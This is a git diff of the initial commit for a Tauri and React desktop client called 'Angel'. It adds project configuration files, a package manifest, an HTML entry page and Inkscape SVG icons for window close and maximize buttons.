Initiliazation
24
full/Angel-client/.gitignore
vendored
Normal file
@@ -0,0 +1,24 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
pnpm-debug.log*
|
||||
lerna-debug.log*
|
||||
|
||||
node_modules
|
||||
dist
|
||||
dist-ssr
|
||||
*.local
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/*
|
||||
!.vscode/extensions.json
|
||||
.idea
|
||||
.DS_Store
|
||||
*.suo
|
||||
*.ntvs*
|
||||
*.njsproj
|
||||
*.sln
|
||||
*.sw?
|
||||
3
full/Angel-client/.vscode/extensions.json
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"recommendations": ["tauri-apps.tauri-vscode", "rust-lang.rust-analyzer"]
|
||||
}
|
||||
1
full/Angel-client/README.txt
Normal file
@@ -0,0 +1 @@
|
||||
meow~
|
||||
20
full/Angel-client/components.json
Normal file
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"$schema": "https://ui.shadcn.com/schema.json",
|
||||
"style": "new-york",
|
||||
"rsc": false,
|
||||
"tsx": true,
|
||||
"tailwind": {
|
||||
"config": "tailwind.config.ts",
|
||||
"css": "src/App.css",
|
||||
"baseColor": "neutral",
|
||||
"cssVariables": true,
|
||||
"prefix": ""
|
||||
},
|
||||
"aliases": {
|
||||
"components": "@/components",
|
||||
"utils": "@/lib/utils",
|
||||
"ui": "@/components/ui",
|
||||
"lib": "@/lib",
|
||||
"hooks": "@/hooks"
|
||||
}
|
||||
}
|
||||
14
full/Angel-client/index.html
Normal file
@@ -0,0 +1,14 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<!--<script src="/src/oneko.js"></script>-->
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
57
full/Angel-client/package.json
Normal file
@@ -0,0 +1,57 @@
|
||||
{
|
||||
"name": "angel",
|
||||
"private": true,
|
||||
"version": "0.1.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "tsc && vite build",
|
||||
"preview": "vite preview",
|
||||
"tauri": "tauri"
|
||||
},
|
||||
"dependencies": {
|
||||
"@hookform/resolvers": "^3.9.0",
|
||||
"@radix-ui/react-avatar": "^1.1.1",
|
||||
"@radix-ui/react-checkbox": "^1.1.2",
|
||||
"@radix-ui/react-collapsible": "^1.1.1",
|
||||
"@radix-ui/react-context-menu": "^2.2.2",
|
||||
"@radix-ui/react-dialog": "^1.1.2",
|
||||
"@radix-ui/react-dropdown-menu": "^2.1.2",
|
||||
"@radix-ui/react-icons": "^1.3.0",
|
||||
"@radix-ui/react-label": "^2.1.0",
|
||||
"@radix-ui/react-popover": "^1.1.2",
|
||||
"@radix-ui/react-separator": "^1.1.0",
|
||||
"@radix-ui/react-slot": "^1.1.0",
|
||||
"@radix-ui/react-tabs": "^1.1.1",
|
||||
"@radix-ui/react-toast": "^1.2.2",
|
||||
"@radix-ui/react-tooltip": "^1.1.3",
|
||||
"@tanstack/react-table": "^8.20.5",
|
||||
"@tauri-apps/api": "^2",
|
||||
"@tauri-apps/plugin-shell": "^2",
|
||||
"@types/node": "^22.7.7",
|
||||
"class-variance-authority": "^0.7.0",
|
||||
"clsx": "^2.1.1",
|
||||
"cmdk": "1.0.0",
|
||||
"lucide-react": "^0.453.0",
|
||||
"react": "^18.2.0",
|
||||
"react-dom": "^18.2.0",
|
||||
"react-hook-form": "^7.53.0",
|
||||
"react-router-dom": "^6.27.0",
|
||||
"tailwind-merge": "^2.5.4",
|
||||
"tailwindcss-animate": "^1.0.7",
|
||||
"zod": "^3.23.8"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tauri-apps/cli": "^2",
|
||||
"@types/react": "^18.2.15",
|
||||
"@types/react-dom": "^18.2.7",
|
||||
"@vitejs/plugin-react": "^4.2.1",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"postcss": "^8.4.47",
|
||||
"sass": "^1.80.3",
|
||||
"tailwindcss": "^3.4.14",
|
||||
"typescript": "^5.2.2",
|
||||
"vite": "^5.3.1",
|
||||
"vite-plugin-sass": "^0.1.0"
|
||||
}
|
||||
}
|
||||
6
full/Angel-client/postcss.config.js
Normal file
@@ -0,0 +1,6 @@
|
||||
export default {
|
||||
plugins: {
|
||||
tailwindcss: {},
|
||||
autoprefixer: {},
|
||||
},
|
||||
}
|
||||
BIN
full/Angel-client/public/angel.png
Normal file
|
After Width: | Height: | Size: 112 KiB |
152
full/Angel-client/public/close.svg
Normal file
@@ -0,0 +1,152 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
|
||||
<svg
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
width="24"
|
||||
height="24"
|
||||
id="svg4306"
|
||||
version="1.1"
|
||||
inkscape:version="0.91 r13725"
|
||||
sodipodi:docname="close.svg"
|
||||
style="enable-background:new">
|
||||
<defs
|
||||
id="defs4308">
|
||||
<linearGradient
|
||||
id="linearGradient3770">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.62827224;"
|
||||
offset="0"
|
||||
id="stop3772" />
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.49803922;"
|
||||
offset="1"
|
||||
id="stop3774" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop4884" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop4886" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient3784-6">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0.21568628;"
|
||||
offset="0"
|
||||
id="stop3786-4" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop3788-6" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4892">
|
||||
<stop
|
||||
id="stop4894"
|
||||
offset="0"
|
||||
style="stop-color:#2f3a42;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4896"
|
||||
offset="1"
|
||||
style="stop-color:#1d242a;stop-opacity:1;" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882-4">
|
||||
<stop
|
||||
id="stop4884-9"
|
||||
offset="0"
|
||||
style="stop-color:#728495;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4886-9"
|
||||
offset="1"
|
||||
style="stop-color:#617c95;stop-opacity:0;" />
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
pagecolor="#f0f1f2"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageopacity="1"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:zoom="22.627418"
|
||||
inkscape:cx="9.3270896"
|
||||
inkscape:cy="10.966175"
|
||||
inkscape:document-units="px"
|
||||
inkscape:current-layer="layer1"
|
||||
showgrid="true"
|
||||
showguides="true"
|
||||
inkscape:guide-bbox="true"
|
||||
inkscape:window-width="1280"
|
||||
inkscape:window-height="747"
|
||||
inkscape:window-x="0"
|
||||
inkscape:window-y="0"
|
||||
inkscape:window-maximized="1"
|
||||
inkscape:snap-bbox="true"
|
||||
inkscape:snap-global="true"
|
||||
inkscape:snap-bbox-midpoints="false"
|
||||
inkscape:bbox-paths="true"
|
||||
inkscape:bbox-nodes="true"
|
||||
inkscape:snap-bbox-edge-midpoints="true">
|
||||
<inkscape:grid
|
||||
type="xygrid"
|
||||
id="grid4314"
|
||||
empspacing="5"
|
||||
visible="true"
|
||||
enabled="true"
|
||||
snapvisiblegridlinesonly="true" />
|
||||
<sodipodi:guide
|
||||
orientation="1,0"
|
||||
position="12,12"
|
||||
id="guide4316" />
|
||||
<sodipodi:guide
|
||||
orientation="0,1"
|
||||
position="12,12"
|
||||
id="guide4318" />
|
||||
</sodipodi:namedview>
|
||||
<metadata
|
||||
id="metadata4311">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
<dc:title />
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<g
|
||||
inkscape:label="Ebene 1"
|
||||
inkscape:groupmode="layer"
|
||||
id="layer1"
|
||||
transform="translate(0,-1028.3622)">
|
||||
<g
|
||||
transform="matrix(0.01265625,0,0,-0.01265625,4.9280396,1046.8821)"
|
||||
id="g3337">
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 558.77702,-37.935253 c 305.45606,0 553.08158,247.625863 553.08158,553.085803 0,305.46124 -247.62552,553.08675 -553.08158,553.08675 -305.46512,0 -553.0913044,-247.62551 -553.0913044,-553.08675 0,-305.45994 247.6261844,-553.085803 553.0913044,-553.085803"
|
||||
style="fill:#d52735;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4094" />
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 558.77747,1.5676633 c 283.63699,0 513.57493,229.9429467 513.57493,513.5851867 0,283.64355 -229.93794,513.58155 -513.57493,513.58155 -283.64749,0 -513.585581,-229.938 -513.585581,-513.58155 0,-283.64224 229.938091,-513.5851867 513.585581,-513.5851867"
|
||||
style="fill:#f25056;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4096" />
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
After Width: | Height: | Size: 4.6 KiB |
161
full/Angel-client/public/close_hover.svg
Normal file
@@ -0,0 +1,161 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
|
||||
<svg
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
width="24"
|
||||
height="24"
|
||||
id="svg4306"
|
||||
version="1.1"
|
||||
inkscape:version="0.91 r13725"
|
||||
sodipodi:docname="close_prelight.svg"
|
||||
style="enable-background:new">
|
||||
<defs
|
||||
id="defs4308">
|
||||
<linearGradient
|
||||
id="linearGradient3770">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.62827224;"
|
||||
offset="0"
|
||||
id="stop3772" />
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.49803922;"
|
||||
offset="1"
|
||||
id="stop3774" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop4884" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop4886" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient3784-6">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0.21568628;"
|
||||
offset="0"
|
||||
id="stop3786-4" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop3788-6" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4892">
|
||||
<stop
|
||||
id="stop4894"
|
||||
offset="0"
|
||||
style="stop-color:#2f3a42;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4896"
|
||||
offset="1"
|
||||
style="stop-color:#1d242a;stop-opacity:1;" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882-4">
|
||||
<stop
|
||||
id="stop4884-9"
|
||||
offset="0"
|
||||
style="stop-color:#728495;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4886-9"
|
||||
offset="1"
|
||||
style="stop-color:#617c95;stop-opacity:0;" />
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
pagecolor="#f0f1f2"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageopacity="1"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:zoom="22.627418"
|
||||
inkscape:cx="7.779207"
|
||||
inkscape:cy="10.966175"
|
||||
inkscape:document-units="px"
|
||||
inkscape:current-layer="layer1"
|
||||
showgrid="true"
|
||||
showguides="true"
|
||||
inkscape:guide-bbox="true"
|
||||
inkscape:window-width="1280"
|
||||
inkscape:window-height="747"
|
||||
inkscape:window-x="0"
|
||||
inkscape:window-y="0"
|
||||
inkscape:window-maximized="1"
|
||||
inkscape:snap-bbox="true"
|
||||
inkscape:snap-global="true"
|
||||
inkscape:snap-bbox-midpoints="false"
|
||||
inkscape:bbox-paths="true"
|
||||
inkscape:bbox-nodes="true"
|
||||
inkscape:snap-bbox-edge-midpoints="true">
|
||||
<inkscape:grid
|
||||
type="xygrid"
|
||||
id="grid4314"
|
||||
empspacing="5"
|
||||
visible="true"
|
||||
enabled="true"
|
||||
snapvisiblegridlinesonly="true" />
|
||||
<sodipodi:guide
|
||||
orientation="1,0"
|
||||
position="12,12"
|
||||
id="guide4316" />
|
||||
<sodipodi:guide
|
||||
orientation="0,1"
|
||||
position="12,12"
|
||||
id="guide4318" />
|
||||
</sodipodi:namedview>
|
||||
<metadata
|
||||
id="metadata4311">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
<dc:title />
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<g
|
||||
inkscape:label="Ebene 1"
|
||||
inkscape:groupmode="layer"
|
||||
id="layer1"
|
||||
transform="translate(0,-1028.3622)">
|
||||
<g
|
||||
transform="matrix(0.01265625,0,0,-0.01265625,4.9280403,1046.8821)"
|
||||
id="titlebutton-close-hover"
|
||||
inkscape:label="#g3339">
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 558.77708,-37.935271 c 305.45607,0 553.08142,247.625871 553.08142,553.085831 0,305.46125 -247.62535,553.08674 -553.08142,553.08674 -305.46513,0 -553.0913269,-247.62549 -553.0913269,-553.08674 0,-305.45996 247.6261969,-553.085831 553.0913269,-553.085831"
|
||||
style="fill:#d52735;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4094" />
|
||||
<g
|
||||
transform="matrix(1.0680345,0,0,1.0680345,0.41786301,-41.900484)"
|
||||
id="g4144">
|
||||
<path
|
||||
id="path4096"
|
||||
style="fill:#f25056;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
d="m 522.79173,40.6992 c 265.56911,0 480.85987,215.29542 480.85987,480.86946 0,265.57526 -215.29076,480.86604 -480.85987,480.86604 -265.57896,0 -480.86983,-215.29078 -480.86983,-480.86604 0,-265.57404 215.29087,-480.86946 480.86983,-480.86946"
|
||||
inkscape:connector-curvature="0" />
|
||||
<path
|
||||
style="fill:#9f1d2b;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
d="m 306.28404,782.14979 c -11.06764,0 -22.15209,-4.31529 -30.55026,-12.71345 l -0.75901,-0.75902 c -16.79758,-16.79634 -16.79758,-44.30417 0,-61.10052 L 460.93287,521.6187 274.97477,335.47086 c -16.79266,-16.79145 -16.79266,-44.11445 0,-60.91075 l 0.75901,-0.94881 c 16.79142,-16.7963 44.30418,-16.7963 61.10051,0 L 522.7924,459.56941 708.7505,273.6113 c 16.79265,-16.7963 44.30417,-16.7963 61.10052,0 l 0.75901,0.94881 c 16.79142,16.79144 16.79142,44.1193 0,60.91075 l -185.9581,186.14784 185.9581,185.9581 c 16.79142,16.79635 16.79635,44.3091 0,61.10052 l -0.75901,0.75902 c -16.80126,16.79142 -44.30787,16.79142 -61.10052,0 L 522.7924,583.47823 336.83429,769.43634 c -8.39817,8.39816 -19.48262,12.71345 -30.55025,12.71345 z"
|
||||
id="path4098"
|
||||
inkscape:connector-curvature="0" />
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 5.7 KiB |
BIN
full/Angel-client/public/d7b98a17f63ffc3ae473e8d5f0b23106.jpg
Normal file
|
After Width: | Height: | Size: 24 KiB |
151
full/Angel-client/public/maximize.svg
Normal file
@@ -0,0 +1,151 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
|
||||
<svg
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
width="24"
|
||||
height="24"
|
||||
id="svg4306"
|
||||
version="1.1"
|
||||
inkscape:version="0.91 r13725"
|
||||
sodipodi:docname="maximize.svg"
|
||||
style="enable-background:new">
|
||||
<defs
|
||||
id="defs4308">
|
||||
<linearGradient
|
||||
id="linearGradient3770">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.62827224;"
|
||||
offset="0"
|
||||
id="stop3772" />
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.49803922;"
|
||||
offset="1"
|
||||
id="stop3774" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop4884" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop4886" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient3784-6">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0.21568628;"
|
||||
offset="0"
|
||||
id="stop3786-4" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop3788-6" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4892">
|
||||
<stop
|
||||
id="stop4894"
|
||||
offset="0"
|
||||
style="stop-color:#2f3a42;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4896"
|
||||
offset="1"
|
||||
style="stop-color:#1d242a;stop-opacity:1;" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882-4">
|
||||
<stop
|
||||
id="stop4884-9"
|
||||
offset="0"
|
||||
style="stop-color:#728495;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4886-9"
|
||||
offset="1"
|
||||
style="stop-color:#617c95;stop-opacity:0;" />
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
pagecolor="#f0f1f2"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageopacity="1"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:zoom="16"
|
||||
inkscape:cx="12.118938"
|
||||
inkscape:cy="11.638414"
|
||||
inkscape:document-units="px"
|
||||
inkscape:current-layer="layer1"
|
||||
showgrid="true"
|
||||
showguides="true"
|
||||
inkscape:guide-bbox="true"
|
||||
inkscape:window-width="1280"
|
||||
inkscape:window-height="747"
|
||||
inkscape:window-x="0"
|
||||
inkscape:window-y="0"
|
||||
inkscape:window-maximized="1"
|
||||
inkscape:snap-bbox="true"
|
||||
inkscape:snap-global="true"
|
||||
inkscape:snap-bbox-midpoints="false"
|
||||
inkscape:bbox-paths="true"
|
||||
inkscape:bbox-nodes="true"
|
||||
inkscape:snap-bbox-edge-midpoints="true">
|
||||
<inkscape:grid
|
||||
type="xygrid"
|
||||
id="grid4314"
|
||||
empspacing="5"
|
||||
visible="true"
|
||||
enabled="true"
|
||||
snapvisiblegridlinesonly="true" />
|
||||
<sodipodi:guide
|
||||
orientation="1,0"
|
||||
position="12,12"
|
||||
id="guide4316" />
|
||||
<sodipodi:guide
|
||||
orientation="0,1"
|
||||
position="12,12"
|
||||
id="guide4318" />
|
||||
</sodipodi:namedview>
|
||||
<metadata
|
||||
id="metadata4311">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
<dc:title />
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<g
|
||||
inkscape:label="Ebene 1"
|
||||
inkscape:groupmode="layer"
|
||||
id="layer1"
|
||||
transform="translate(0,-1028.3622)">
|
||||
<g
|
||||
transform="matrix(0.01265625,0,0,-0.01265625,4.8773707,1046.8806)"
|
||||
id="g3339">
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 562.7806,-38.053372 c 305.45604,0 553.0815,247.625852 553.0815,553.085772 0,305.46122 -247.62546,553.0867 -553.0815,553.0867 -305.4651,0 -553.0913989,-247.62548 -553.0913989,-553.0867 0,-305.45992 247.6262989,-553.085772 553.0913989,-553.085772"
|
||||
style="fill:#13c11e;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4289" />
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 562.77841,1.4521975 c 283.64075,0 513.57749,229.9417425 513.57749,513.5824825 0,283.64206 -229.93674,513.57882 -513.57749,513.57882 -283.646,0 -513.583014,-229.93676 -513.583014,-513.57882 0,-283.64074 229.937014,-513.5824825 513.583014,-513.5824825"
|
||||
style="fill:#39ea49;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4291" />
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 4.6 KiB |
161
full/Angel-client/public/maximize_hover.svg
Normal file
@@ -0,0 +1,161 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
|
||||
<svg
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
width="24"
|
||||
height="24"
|
||||
id="svg4306"
|
||||
version="1.1"
|
||||
inkscape:version="0.91 r13725"
|
||||
sodipodi:docname="maximize_prelight.svg"
|
||||
style="enable-background:new">
|
||||
<defs
|
||||
id="defs4308">
|
||||
<linearGradient
|
||||
id="linearGradient3770">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.62827224;"
|
||||
offset="0"
|
||||
id="stop3772" />
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.49803922;"
|
||||
offset="1"
|
||||
id="stop3774" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop4884" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop4886" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient3784-6">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0.21568628;"
|
||||
offset="0"
|
||||
id="stop3786-4" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop3788-6" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4892">
|
||||
<stop
|
||||
id="stop4894"
|
||||
offset="0"
|
||||
style="stop-color:#2f3a42;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4896"
|
||||
offset="1"
|
||||
style="stop-color:#1d242a;stop-opacity:1;" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882-4">
|
||||
<stop
|
||||
id="stop4884-9"
|
||||
offset="0"
|
||||
style="stop-color:#728495;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4886-9"
|
||||
offset="1"
|
||||
style="stop-color:#617c95;stop-opacity:0;" />
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
pagecolor="#f0f1f2"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageopacity="1"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:zoom="21.791667"
|
||||
inkscape:cx="12"
|
||||
inkscape:cy="12"
|
||||
inkscape:document-units="px"
|
||||
inkscape:current-layer="layer1"
|
||||
showgrid="true"
|
||||
showguides="true"
|
||||
inkscape:guide-bbox="true"
|
||||
inkscape:window-width="1280"
|
||||
inkscape:window-height="747"
|
||||
inkscape:window-x="0"
|
||||
inkscape:window-y="0"
|
||||
inkscape:window-maximized="1"
|
||||
inkscape:snap-bbox="true"
|
||||
inkscape:snap-global="true"
|
||||
inkscape:snap-bbox-midpoints="false"
|
||||
inkscape:bbox-paths="true"
|
||||
inkscape:bbox-nodes="true"
|
||||
inkscape:snap-bbox-edge-midpoints="true">
|
||||
<inkscape:grid
|
||||
type="xygrid"
|
||||
id="grid4314"
|
||||
empspacing="5"
|
||||
visible="true"
|
||||
enabled="true"
|
||||
snapvisiblegridlinesonly="true" />
|
||||
<sodipodi:guide
|
||||
orientation="1,0"
|
||||
position="12,12"
|
||||
id="guide4316" />
|
||||
<sodipodi:guide
|
||||
orientation="0,1"
|
||||
position="12,12"
|
||||
id="guide4318" />
|
||||
</sodipodi:namedview>
|
||||
<metadata
|
||||
id="metadata4311">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
<dc:title />
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<g
|
||||
inkscape:label="Ebene 1"
|
||||
inkscape:groupmode="layer"
|
||||
id="layer1"
|
||||
transform="translate(0,-1028.3622)">
|
||||
<g
|
||||
style="enable-background:new"
|
||||
transform="matrix(0.01265625,0,0,-0.01265625,4.9280399,1046.8821)"
|
||||
id="g3339">
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 558.7771,-37.935173 c 305.45604,0 553.0815,247.625853 553.0815,553.085763 0,305.46122 -247.62546,553.08661 -553.0815,553.08661 -305.46509,0 -553.091393,-247.62539 -553.091393,-553.08661 0,-305.45991 247.626303,-553.085763 553.091393,-553.085763"
|
||||
style="fill:#13c11e;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4289" />
|
||||
<g
|
||||
transform="matrix(1.3132489,0,0,1.3132489,-9.8625362,-52.033006)"
|
||||
id="g4147">
|
||||
<path
|
||||
id="path4291"
|
||||
style="fill:#39ea49;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
d="m 433.00051,40.81737 c 215.984,0 391.074,175.0938 391.074,391.0778 0,215.985 -175.09,391.075 -391.074,391.075 -215.988,0 -391.078202,-175.09 -391.078202,-391.075 0,-215.984 175.090202,-391.0778 391.078202,-391.0778"
|
||||
inkscape:connector-curvature="0" />
|
||||
<path
|
||||
id="path4293"
|
||||
style="fill:#0b7407;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
d="m 317.36351,650.00117 267.199,0 c 35.579,0 64.692,-29.113 64.692,-64.695 l 0,-267.196 -331.891,331.891 z m 232.324,-436.211 -268.253,0 c -35.583,0 -64.692,29.109 -64.692,64.691 l 0,268.254 332.945,-332.945"
|
||||
inkscape:connector-curvature="0" />
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
